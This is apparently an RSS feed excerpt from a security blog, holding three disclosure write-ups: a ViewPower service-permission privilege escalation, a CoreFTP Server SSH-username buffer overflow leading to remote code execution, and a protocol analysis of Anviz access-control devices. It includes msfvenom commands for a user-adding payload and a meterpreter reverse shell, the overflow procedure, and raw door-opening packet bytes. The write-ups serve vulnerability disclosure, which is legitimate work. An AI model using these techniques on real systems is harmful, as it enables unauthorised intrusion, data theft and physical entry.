&lt;p&gt;Each entry needs a &lt;strong&gt;Service Principle&lt;/strong&gt;. This often relates to a user, group, service account, or a “Special User”. For instance, the user &lt;strong&gt;Everyone&lt;/strong&gt; relates to the implied name, everyone, being authenticated or unauthenticated users. Anyone can access the resource. The principle &lt;strong&gt;Guest&lt;/strong&gt; relates to the guest user. The principle &lt;strong&gt;NT Authority/Authenticated Users&lt;/strong&gt; refers to all authenticated users, which means no Guests.&lt;/p&gt;

&lt;p&gt;Often you see the user &lt;strong&gt;Everyone&lt;/strong&gt; one shares so anyone can access, instead of &lt;strong&gt;Domain Users&lt;/strong&gt; a group where every user of the active domain resides.&lt;/p&gt;

&lt;p&gt;When nothing works, a lousy system administrator tends to give all the permissions and, since it works, nobody touches it, otherwise, people get mad.&lt;/p&gt;

&lt;p&gt;Lastly, you need to Allow or Deny the permission.&lt;/p&gt;

&lt;p&gt;In essence, this is what it takes to create an ACE.&lt;/p&gt;

&lt;h2 id=&quot;exploiting-it-cve-2021-30490&quot;&gt;Exploiting it (CVE-2021-30490)&lt;/h2&gt;

&lt;p&gt;Since a program to work, inherently installs files, the permissions need to be set. The &lt;strong&gt;ViewPower&lt;/strong&gt; application runs as a service. It starts with the computer and runs in the background monitoring your application.&lt;/p&gt;

&lt;p&gt;In Windows, typically a service runs with a high level of privilege such as &lt;strong&gt;NT Authority/System&lt;/strong&gt;. You can later drop down the permissions that you run to a lower privilege.. but who has the time right? It is often seen that services tend to not change this configuration.&lt;/p&gt;

&lt;p&gt;The service points to usually an entry point. A file to be executed. Since that file is going to be run as a service, with the highest permissions (usually), it is paramount that nothing with low privilege access can tamper with that file.&lt;/p&gt;

&lt;p&gt;This is exactly what is present in this demonstration. I said nothing new was going to be learnt today and I stand by it. One of the most simple Windows privilege escalations is to look at all the services running on the machine and check if any of the callee files have loose permissions that might allow a user to escalate to &lt;strong&gt;NT Authority/System&lt;/strong&gt;, since it is running with that account.&lt;/p&gt;

&lt;p&gt;You can do this by looking at the file location in the service list and using the &lt;strong&gt;icacls&lt;/strong&gt; command:&lt;/p&gt;

&lt;p&gt;Open the execute dialog and type &lt;strong&gt;services.msc&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/viewpower/runservices.png&quot; alt=&quot;RunServices&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now search for the service you want to inspect and double click on it. In our case, it is called &lt;strong&gt;upsMonitor&lt;/strong&gt;  or &lt;strong&gt;upsProMonitor&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/viewpower/serviceupsPro.png&quot; alt=&quot;ServiceUPS&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Locate the &lt;strong&gt;Path to Executable&lt;/strong&gt; and copy it. Now open a &lt;strong&gt;PowerShell&lt;/strong&gt; or &lt;strong&gt;Command Prompt&lt;/strong&gt; and paste it to the &lt;strong&gt;icacls&lt;/strong&gt; command.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/viewpower/icaclsPro.png&quot; alt=&quot;ServiceICACLS&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You can see four entries. The first three are quite standard. The last one gives modifiable access to &lt;strong&gt;NT Authority/Authenticated Users&lt;/strong&gt;. This means that any authenticated user can modify the binary. So in theory we can modify the file to execute our own code, for instance, a reverse shell or a privileged command.&lt;/p&gt;

&lt;p&gt;You can also use the PowerView PowerShell script to automate this task (don’t confuse it with the software at hand) using the &lt;strong&gt;Get-ModifiableServiceFile&lt;/strong&gt; call (https://powersploit.readthedocs.io/en/latest/Privesc/Get-ModifiableServiceFile/).&lt;/p&gt;

&lt;p&gt;For instance, you can use the command &lt;strong&gt;net group “Administrators” &amp;lt;current username&amp;gt;&lt;/strong&gt; to an Executable file. And the user is magically an Administrator.&lt;/p&gt;

&lt;p&gt;There are two downsides:
You need to restart the service for it to take effect. Nothing that a reboot can handle, if you have a local session on the computer. 
The file can not be open to performing this, you can try and kill it on some occasions. I believe this was done to give a standard user access to controlling the application.&lt;/p&gt;

&lt;p&gt;You can use &lt;strong&gt;msfvenom&lt;/strong&gt; to create an executable file with the command to be executed, for instance:&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;msfvenom -a x86 –platform Windows -p windows/exec CMD=”net user johnny john /add” -f exe &amp;gt; upsMonitorPro.exe&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/viewpower/kaliGeneratePayload.png&quot; alt=&quot;ServiceICACLS&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After copying to the destination folder you can then restart the service or reboot the computer to take effect.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/viewpower/copyPayload.png&quot; alt=&quot;CopyPayload&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If you restart the service you will get an error message stating that the service was not able to initialize. This is because we just created an executable file that exited, but the code was run!&lt;/p&gt;

&lt;p&gt;If you go to &lt;strong&gt;Computer Management-&amp;gt;Users&lt;/strong&gt; you will notice the newly created account. We can add ourselves to the Administrator group or any other action we want. The sky is the limit now.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/viewpower/newAccountCreated.png&quot; alt=&quot;ServiceICACLS&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Both the ViewPower standard and the Pro version are affected by this vulnerability. The professional version adds more services that suffer from this such as:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;upsProMonitor&lt;/li&gt;
  &lt;li&gt;upsProMySQL&lt;/li&gt;
  &lt;li&gt;upsProTomcat&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You just need to pick one and exploit it to escalate privileges.&lt;/p&gt;

&lt;p&gt;A refinement of these permissions should be done to mitigate and/or fix the issue, however, standard installations are vulnerable to this.&lt;/p&gt;

&lt;p&gt;Note that all this was done on an unpriviledged user.&lt;/p&gt;

&lt;h2 id=&quot;impact&quot;&gt;Impact&lt;/h2&gt;

&lt;p&gt;This vulnerability allows for an unprivileged user to escalate privileges and gain an &lt;strong&gt;Administrator&lt;/strong&gt; or &lt;strong&gt;NT Authority/System&lt;/strong&gt; set of rights. Exploitation is trivial.&lt;/p&gt;

&lt;h2 id=&quot;disclosure&quot;&gt;Disclosure&lt;/h2&gt;

&lt;p&gt;This vulnerability follows the responsible disclosure standard, as usual.&lt;/p&gt;

&lt;p&gt;Affected software: &lt;strong&gt;ViewPower&lt;/strong&gt; and &lt;strong&gt;ViewPowerPro&lt;/strong&gt; versions &lt;strong&gt;V1.04-21012&lt;/strong&gt; (other versions might be vulnerable)&lt;/p&gt;

&lt;p&gt;Download Link (This version was removed from the Website):&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/files/ViewPowerV1.04-21012/installViewPowerPro_Windows.zip&quot;&gt;ViewPower Pro - V1.04-21012&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/files/ViewPowerV1.04-21012/installViewPowerHTML%20Windows.zip&quot;&gt;ViewPower - V1.04-21012&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/files/ViewPowerV1.04-21012/installViewPowerHTML%20Windows_XP_2003_2008.zip&quot;&gt;ViewPower (Windows XP) - V1.04-21012&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;“Official” Website (Others might exist but this is was the one tested): &lt;a href=&quot;https://www.power-software-download.com/viewpower.html&quot;&gt;https://www.power-software-download.com/viewpower.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tested on:&lt;/p&gt;

&lt;p&gt;Windows 10 Version 20H2 OS Build 19042.928&lt;/p&gt;

&lt;h2 id=&quot;final-note&quot;&gt;Final note&lt;/h2&gt;

&lt;p&gt;AAt the time of disclosure, I recheck if the new version available on the official Website was fixed. It is not. the problem remains on the latest Windows 10 Installation (although this has nothing to do with the software problem) and the latest available version (from 15/08/2022) &lt;strong&gt;V1.04-21353&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The new version is also available as a mirror &lt;a href=&quot;/files/ViewPowerV1.04-21353/ViewPower1.04-21353.zip&quot;&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/viewpower/updatedVersion2022.png&quot; alt=&quot;ServiceICACLS&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;11/04/2021 - Vulnerability discovery, CVE-2021-30490&lt;/li&gt;
  &lt;li&gt;26/09/2021 - Couldn’t possibly find a manufacturer, so I contacted a bunch of implementers. There was no email on the official page.&lt;/li&gt;
  &lt;li&gt;27/09/2021 - Details to implementers sent&lt;/li&gt;
  &lt;li&gt;27/10/2021 - Status request&lt;/li&gt;
  &lt;li&gt;03/11/2021 - Still pending&lt;/li&gt;
  &lt;li&gt;15/08/2022 - Disclosing it&lt;/li&gt;
&lt;/ul&gt;

</description>
        <pubDate>Sun, 16 Aug 2020 00:01:00 +0000</pubDate>
        <link>http://www.0x90.zone/binary/reverse/exploitation/2020/08/16/Privilege-Escalation-ViewPower.html</link>
        <guid isPermaLink="true">http://www.0x90.zone/binary/reverse/exploitation/2020/08/16/Privilege-Escalation-ViewPower.html</guid>
        
        
        <category>binary</category>
        
        <category>reverse</category>
        
        <category>exploitation</category>
        
      </item>
    
      <item>
        <title>Unauthenticated Remote Code Execution/DoS on CoreFTP Server - CVE-2020-19596/CVE-2020-19595</title>
        <description>&lt;h1 id=&quot;unauthenticated-remote-code-executiondos-on-coreftp-server---cve-2020-19596cve-2020-19595&quot;&gt;Unauthenticated Remote Code Execution/DoS on CoreFTP Server - CVE-2020-19596/CVE-2020-19595&lt;/h1&gt;

&lt;p&gt;Well hello there, hope everyone is doing well on this lockdown. As with many people, I start learning some new tricks, and I went old school on this one. Due to the excess time, we had to play with another thing I started looking again for old school exploits such as Buffer Overflows. Well, it didn’t take long to find one.&lt;/p&gt;

&lt;p&gt;CoreFTP comes in two versions: a client and a Server. Let us focus on the server-side. CoreFTP Server is an FTP Server (shocking) that allows IT administrators not only to serve as FTP but as SFTP with client certificates and integrate with the domain. For the sake of clarity, we tested the Core FTP build 583.&lt;/p&gt;

&lt;h2 id=&quot;starting-testing&quot;&gt;Starting testing&lt;/h2&gt;

&lt;p&gt;As with every test, we start by sending some erroneous data to every user input field possible. There were a lot of crashes in the Server Management GUI. For instance, on the self-signed server certificate fields, we could overwrite the EIP pretty quickly, but the problem would be non-ASCII characters, and it would be dumb since you there already have access to the management interface that supposedly operates in Administrative mode since the server needs to bind to lower ports (0-1023).&lt;/p&gt;

&lt;p&gt;However, this opens the door to exploit other fields. The server exposes a network port to allow clients to connect and retrieve data. I choose to go with the SFTP (Basically SSH only with file support) with SSH keys enabled. The first idea was to try to send garbage data in the Key-Exchange phase of the protocol, for instance, send an overly long encoded communication to trigger the exploit. However, the clients try to verify if the data is valid before sending. Next, I just tried the simple username with ‘A ‘*huge_amount and the server stopped responding and hanged. Hmmm..&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/coreftprce/image4.png&quot; alt=&quot;crashServer&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I quickly created an environment with the service running on a Windows XP SP3 Build 2600 (because, no protections) and another on a Windows 10 machine. For the sake of clarity, &lt;strong&gt;my victim machine will be at 192.168.155.132&lt;/strong&gt;, and the &lt;strong&gt;attackers’ machine will be at 192.168.155.176&lt;/strong&gt;. I quickly checked the binary and verified that it doesn’t have any security extensions; this means no ASLR no DEP, nothing. Thus we don’t need to worry about bypassing these technologies. I follow the training in &lt;a href=&quot;https://www.fuzzysecurity.com/tutorials.html&quot;&gt;here&lt;/a&gt; (and I recommend it). I attached a debugger (ImmunityDBG) to the process and generated an SSH key pair (it doesn’t matter as we are going to find out) and use it to connect to the server but with the ‘A’*1024 as the username and we get the glorious EIP 41414141. Hurray! We control the EIP and have a primary entry point to try to exploit this!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/coreftprce/image5.png&quot; alt=&quot;debuggerattached&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;exploiting-it-cve-2020-19596&quot;&gt;Exploiting it (CVE-2020-19596)&lt;/h2&gt;

&lt;p&gt;If you read the tutorial link (and I think you should if it’s the first time you reading something like this), you should know that the next step is to determine the offset to rewrite the EIP. You can either do it by trial and error or be intelligent and use something like the pattern generator tool from the Metasploit framework. With that, we can see that the EIP will be overwritten after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;198 bytes&lt;/code&gt;, which means that we need to write 198 bytes before rewriting it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/coreftprce/image1.png&quot; alt=&quot;monafindoffset&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After that, find any instruction capable of jumping to our shellcode, such as a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call ESP&lt;/code&gt;. We can use the &lt;a href=&quot;https://github.com/corelan/mona&quot;&gt;mona script&lt;/a&gt; to help enumerate all the possibilities to do this. It will search for all compatible instructions in all the code and imported functions. Since the main code contains a NULL byte, we can not choose it, so we need to rely on imported DLLs. Since Windows XP have a lot of them without ALSR, we can pick one that suits us. However, it means that the exploit needs to be ported for other operating systems, service packs, maybe language, etc.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/coreftprce/image6.png&quot; alt=&quot;monajumptoshellcode&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In the previous image, we can see some of the possible &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JUMP ESP&lt;/code&gt; instructions, but there are a lot more on them in a text file on your workspace:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/coreftprce/image7.png&quot; alt=&quot;monajumptoshellcode2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Next, we should move along and perform a bad chars evaluation. When we send the characters to the buffer, some of them may break the normal functioning of the exploit (due to verifications or operations on them). We can use the mona script to generate an array of all possible values, from 0x00 to 0xFF or from 0 to 255. Sending this buffer and analyzing the memory afterwards gets us the bad chars. Mona script can help compare the chars and the bad chars and provide a direct response on what we should exclude of the payload.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/coreftprce/image8.png&quot; alt=&quot;monadetectbadchars&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The payload can then be crafted using the Metasploit Venom and passing the bad chars (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\x00 \x01 \x02 \x0a \x0d \x40&lt;/code&gt;) with the ‘-b’ flag. We generate a small payload to get remote code execution:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.155.176 LPORT=443 -b &apos;\x00\x01\x02\x0a\x0d\x40&apos; -f python --smallest&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;In this case, I used a meterpreter payload just because but you can choose whatever you want. I just opened a listener on Metasploit console and ran the following exploit.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/coreftprce/image9.png&quot; alt=&quot;exploitcode&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Yes, I pasted an image with the code because it could trigger Antivirus Agents since it has a very rudimentary Meterpreter shell in it. The exploit uses the paramiko &lt;a href=&quot;http://www.paramiko.org/&quot;&gt;paramiko SSH library&lt;/a&gt; to connect to the SSH service and pass the payload as the username. The connection will fail, but at that point, we should get our shell in Metasploit. One small detail, if we use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CALL ESP&lt;/code&gt;, the exploit will succeed, and the service will continue to run as intended, at least on this case. Hurray, we got unauthenticated RCE! =). Some additional remarks are in order: Once you get RCE and can access the file system, try to access the configuration file. There you will find several hashes encrypted with AES256, someone did a great reversing job and posted the procedure to decrypt them &lt;a href=&quot;https://coreysalzano.com/how-to/how-to-extract-passwords-from-core-ftp-le/&quot;&gt;here&lt;/a&gt;. You can also look for specific memory locations of the decrypted hashes (I sure did but later found out this, at least I learn something in the process). Then you can use that credential hopefully to maintain access. The application needs to run on Administrator mode, so you just got at least Local Administrative on a machine, congratz!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/coreftprce/image10.png&quot; alt=&quot;exploitcode&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There are also other versions vulnerable to this, but after version 2.1 of the CoreFTP Server, the buffer started converting to UTF-8, and we need to perform &lt;a href=&quot;https://img2.helpnetsecurity.com/dl/articles/unicodebo.pdf&quot;&gt;Venetian method&lt;/a&gt; to exploit it. I was not successful in doing that, so the last that we can achieve is Denial of Service (DoS, CVE-2020-19595). To do this, we send garbage to the buffer and crash the service. Meh, not that good but could be helpful in some situations. Maybe someone that knows more than what I do can help and exploit this.&lt;/p&gt;

&lt;p&gt;There is the problem of portability of the exploit. I did this on a Windows XP SP3 machine (except the detection of security extensions, that I did on the Windows 10 Machine) so I won’t be bothered with ASLR and DEP modes. Since the code of the program holds bad chars, such as the NULL byte (0x00) we can’t use it to steal an instruction to jump to our shellcode. Otherwise, the exploit would work on all OSs. Therefore we needed to use some of the imported DLLs present to reuse the instruction, and then jump to our shellcode. One interesting thing to work on is to try to craft something that would bypass the authentication, jump the verification of the password and give access to files. Don’t know if it is possible but I wonder. Also, this exploit &lt;strong&gt;only works if the SSH key is enabled&lt;/strong&gt;. You don’t need a user registered with it, but the server should accept it. The problem relies on the most robust configuration (using SSH keys to authenticate users) even if there is none configured.&lt;/p&gt;

&lt;h2 id=&quot;disclosure&quot;&gt;Disclosure&lt;/h2&gt;

&lt;p&gt;This vulnerability follows the responsible disclosure standard. At first, the vendor did not reply but after insisting I got trough to someone who could patch this. After investigation, he provided the patch to clients, and after the patch is available for one month, I released this disclosure. I like to thank them for providing support for fixing this vulnerability. As a footnote, I am still waiting for the CVE ID from Mitre, when that’s available, I’ll update this page.&lt;/p&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;01/05/2020 - Vulnerability discovery&lt;/li&gt;
  &lt;li&gt;02/06/2020 - First contact with vendor&lt;/li&gt;
  &lt;li&gt;21/06/2020 - Second contact with vendor&lt;/li&gt;
  &lt;li&gt;26/06/2020 - Vulnerability fix tested, patch confirmed&lt;/li&gt;
  &lt;li&gt;27/07/2020 - Official date of release&lt;/li&gt;
  &lt;li&gt;16/08/2020 - Real date of release&lt;/li&gt;
  &lt;li&gt;23/08/2020 - Grammer fixes, thanks to @jpdias =)&lt;/li&gt;
  &lt;li&gt;04/04/2020 - Added CVE-2020-19596 and CVE-2020-19595&lt;/li&gt;
&lt;/ul&gt;

</description>
        <pubDate>Sun, 16 Aug 2020 00:01:00 +0000</pubDate>
        <link>http://www.0x90.zone/binary/reverse/exploitation/2020/08/16/CoreFTPServerRCE.html</link>
        <guid isPermaLink="true">http://www.0x90.zone/binary/reverse/exploitation/2020/08/16/CoreFTPServerRCE.html</guid>
        
        
        <category>binary</category>
        
        <category>reverse</category>
        
        <category>exploitation</category>
        
      </item>
    
      <item>
        <title>Anviz Pwn! How broken devices could be? (CVE-2019-12393/CVE-2019-12391/CVE-2019-12392/CVE-2019-12390/CVE-2019-12389/CVE-2019-12388/CVE-2019-12394/CVE-2019-12518,CVE-2020-19594)</title>
        <description>&lt;h1 id=&quot;how-broke-is-your-biometrics&quot;&gt;How broke is your biometrics?&lt;/h1&gt;

&lt;h2 id=&quot;anviz-study-case&quot;&gt;Anviz study case&lt;/h2&gt;

&lt;p&gt;Anviz is a company that provides products that help secure facilities by controlling access to them, being by scanning a keycard or by verifying some biometric patterns on the people accessing it.&lt;/p&gt;

&lt;p&gt;This story starts like so many stories start. Anviz sellers told me and &lt;a href=&quot;https://twitter.com/_lcatarino&quot;&gt;@Luis Catarino&lt;/a&gt; that their system was ‘top of the line’ and that was as secure it can be. So, we decided to put it to the test.&lt;/p&gt;

&lt;p&gt;Starting by building the infrastructure. The systems are quite simple to install. There are devices and there is a management application. Several implementations of the same application exist but we are going to only look for the official ones (CrossChex and Anviz Management System).&lt;/p&gt;

&lt;p&gt;In a controlled IP network, we deploy three devices and set an IP address for each one. Then, on the management application we saw something weird as soon we tried to add the deployed devices. An Exception, cannot access memory. Humm looks weird but lets us proceed.&lt;/p&gt;

&lt;p&gt;From the management console, we can add new devices by point to an IP and setting up a management password if needed. The console speaks by a proprietary protocol to the device. There are other ways of connecting to the device such as USB or &lt;a href=&quot;https://en.wikipedia.org/wiki/RS-232&quot;&gt;RS-232&lt;/a&gt;, but let us focus on the IP implementation since it’s the most widespread.&lt;/p&gt;

&lt;h2 id=&quot;replay-attack-cve-2019-12393&quot;&gt;Replay attack (CVE-2019-12393)&lt;/h2&gt;

&lt;p&gt;From the console we can perform several actions: open the door by software, retrieve records and users’ data, set the time and date and so on…&lt;/p&gt;

&lt;p&gt;Ok, so we have a device that communicates using an IP network stack to a device. Let us analyse the protocol with Wireshark.&lt;/p&gt;

&lt;p&gt;First, let us start with the basics. We wanted to know how to open the door with the smartphone (like the cool kids in &lt;a href=&quot;https://www.ubisoft.com/en-us/game/watch-dogs-2/&quot;&gt;Watch Dogs&lt;/a&gt;, the game). For that, we send the request to open the door and see the network traffic on Wireshark.&lt;/p&gt;

&lt;p&gt;The first thing we tested is to replay the request. If the packet is valid and we can replay it we are sure that there is no &lt;a href=&quot;https://en.wikipedia.org/wiki/Cryptographic_nonce&quot;&gt;NONCE&lt;/a&gt; being employed and we can just send the packet every time we want to open the door.&lt;/p&gt;

&lt;p&gt;Success! the devices are vulnerable to replay attacks!&lt;/p&gt;

&lt;h2 id=&quot;reverse-engineering-the-protocol&quot;&gt;Reverse Engineering the protocol&lt;/h2&gt;

&lt;p&gt;If the device is vulnerable to replay attacks and the protocol doesn’t employ any encryption we can see how the authentication process is being made.&lt;/p&gt;

&lt;p&gt;In Wireshark we know, by looking at the packets under a controlled environment, that the device answers on port tcp/5010. We can then apply a filter to only filter communication on that port and follow the TCP stream.&lt;/p&gt;

&lt;p&gt;The packets are incorrectly labelled IPCTL packets but that’s not the correct protocol. We needed to interpret the data packets as a new protocol.&lt;/p&gt;

&lt;p&gt;We then start by performing actions on the device to reverse engineer the protocol.
Every packet starts with a preamble &lt;em&gt;\xa50&lt;/em&gt; and every packet has a replay attack vulnerability, meaning that for every request we made, if we replicate it, the device would answer. With that in mind, and due to the fact the packets are deterministic, we start by performing small and basic operations such as open the door by software, getting device information, get the number of records saved in the device, getting network information of the device and get the time and date of the device.&lt;/p&gt;

&lt;p&gt;From what was able to perceive we draft the following structure:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;| Preamble |       DATA UNKNOWN       |                  CMD                   |                              LEN                              |   DATA UNKOWN   |
| :------: | :----------------------: | :------------------------------------: | :-----------------------------------------------------------: | :-------------: |
|   \xa5   | &amp;lt;4 bytes, small numbers&amp;gt; | &amp;lt;1 byte, changes with issued command &amp;gt; | &amp;lt;2 bytes changes with the amount of data, 0 to a get command&amp;gt; | 2 or more bytes |
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And the answers are similar depending on the information required&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;| Preamble |       DATA UNKNOWN        |      CMD+128       |       ACK        |                              LEN                               |   DATA UNKOWN   |
| :------: | :-----------------------: | :----------------: | :--------------: | :------------------------------------------------------------: | :-------------: |
|   \xa5   | &amp;lt; same as in the request&amp;gt; | &amp;lt;1 byte, CMD+128 &amp;gt; | 1byte(exit code) | &amp;lt;2 bytes changes with the ammount of data, 0 to a get command&amp;gt; | 2 or more bytes |
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, we weren’t able to determine where the password was being sent. We were able to look for the password in the GET_DEVICE_INFO command. This is interesting since we now know how the data is arranged (little-endian vs. big-endian). But, the password is not transmitted in any of the packets… does that mean?… Well yes, the password doesn’t do shit.&lt;/p&gt;

&lt;p&gt;So, we have a protocol, vulnerable to replay attacks and that requires no password to respond. Now the stakes are high. If by reverse engineering the protocol we can emulate a device and retrieve information about the records stored, the fingerprint, passwords, names and PINs of every user enrolled in the device that will demonstrate that the device is prone to attacks that disclose sensitive information.
Furthermore, Anviz itself propose an architecture implementation where they recommend to expose the device itself, to interconnect different &lt;a href=&quot;https://www.anviz.com/faq/19.html&quot;&gt;sites&lt;/a&gt; this means that there are some people, port forwarding these connections to the world, exposing all the biometric data (small vector table) and some personally identifiable information about the users!&lt;/p&gt;

&lt;p&gt;Thus it’s paramount to understand the protocol to be able to exploit the device.
Lets head back to the CMD_OPEN_DOOR and the other requests captured:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;| Preamble |   DATA UNKNOWN   | CMD  |   LEN    |       DATA UNKOWN        |
| :------: | :--------------: | :--: | :------: | :----------------------: |
|   \xa5   | \x00\x00\x00\x00 | \x5e | \x00\x00 | \x07\x05                 |
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The packet data starts always with a &lt;em&gt;\xa5&lt;/em&gt; byte. Depending on the device we tested the following four bytes differ. Maybe something related with the device identification? Weird enough with NULL bytes the request is accepted by every device.
This packet also doesn’t produce logs in the management service, meaning that no record of the operation was created (CVE-2019-12391).&lt;/p&gt;

&lt;p&gt;Next, we saw the same two bytes for each operation we were performing, as already stated above. This suggests that it is the command code, for instance, the command to open the door, the command to get information, and so on.&lt;/p&gt;

&lt;p&gt;Next, we saw different kinds of data, depending on if we were just requesting information or setting information. This may suggest additional parameters on the payload.&lt;/p&gt;

&lt;p&gt;Then we got stuck. The last bytes we suspect being some kind of control but couldn’t figure it out what it was. We even tried to send NULL bytes but it wasn’t being accepted by the device. This may suggest that is some kind of checksum. From the size (2-bytes) it could be a CRC16. However, the simple CRC16 was not working out.&lt;/p&gt;

&lt;p&gt;Then we start looking at the vendors’ Website for clues and we found them! There is an available SDK to build your own management software. This is the example of &lt;a href=&quot;https://www.telemax.pt/pt-PT/produto/31706/AEON-GOLD.html&quot;&gt;AEON&lt;/a&gt; a software that allows managing Anviz devices. Since that software is not free, we won’t be looking for vulnerabilities on it since we don’t have it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/anviz/anvizsdkdownload1.png&quot; alt=&quot;SDK Download&quot; /&gt;&lt;/p&gt;

&lt;p&gt;By looking in the SDK we discovered all the structures needed to communicate to the device and yes, we should look it up sooner… But it was fun to know that some assumptions were actually true.&lt;/p&gt;

&lt;p&gt;The SDK comes with a word document, with all the exported functions of the DLL SDK. It also comes with a test program that we can use to send requests.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/anviz/SDKword.png&quot; alt=&quot;SDK Documentation&quot; /&gt;&lt;/p&gt;

&lt;p&gt;By reviewing this document we can understand what really is sent and retrieve on the wire. It is also possible to understand the responses now. As you can see in the&lt;/p&gt;

&lt;p&gt;As you can see in the screenshot above. No password is given (CVE-2019-12392). If you think the CchexHandle contains a connection with the password, you are wrong. the handle is just created with the connection and can be bypassed without issue since we are introducing our code that will query the device immediately. There is no prior handshake required. These behaviour is also present when you try to change settings on the device, such as changing the administrator password. No previous password is required (CVE-2019-12394). For example, you can query all the information that is stored in the device, such as cleartext passwords/pins, RFID tag, name, and several other personal parameters that the device allows you to storage to identify a user (CVE-2019-12390/CVE-2019-12389/CVE-2019-12388).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/anviz/pii.png&quot; alt=&quot;Pointing to CRC Function&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The sad part is that some assumptions are true, meaning that the password isn’t required for anything and anything that is able to speak with port tcp/5010 on the device can access ALL the information that the device stores.&lt;/p&gt;

&lt;p&gt;Regarding the checksum. We fired up IDA to check if we could find the checksum function. This was arduous work since some symbols were available but no one has the “checksum” or “CRC” on it. To be honest I think it’s redundant that there is a checksum in a TCP connection. Additionally, someone might think: hey, why didn’t you just use the SDK to interact with the devices, you moron?”. Well albeit that being true, where is the fun in that? Furthermore, we were bound to the implementation of the API provided. That includes all “security” measures applied to it. By writing your own implementation we can fuzz the protocol if we intended to do that so.&lt;/p&gt;

&lt;p&gt;There are several techniques to discover this function. Search for the CRC16 code (you need to know how a CRC is done at the assembly level), to go throw the flow of each function to send the payload, or since this is a function that, for every request, is called it may have a lot of references to it. This is easy to find in IDA.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/anviz/IDA-EVERYTHINGSPOINTTOCRC16.png&quot; alt=&quot;Pointing to CRC Function&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This may indicate a strong candidate for the flow that we are looking for. Following the flow of a request and right before sending we came across this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/anviz/IDA-CRC.png&quot; alt=&quot;CRC Function&quot; /&gt;&lt;/p&gt;

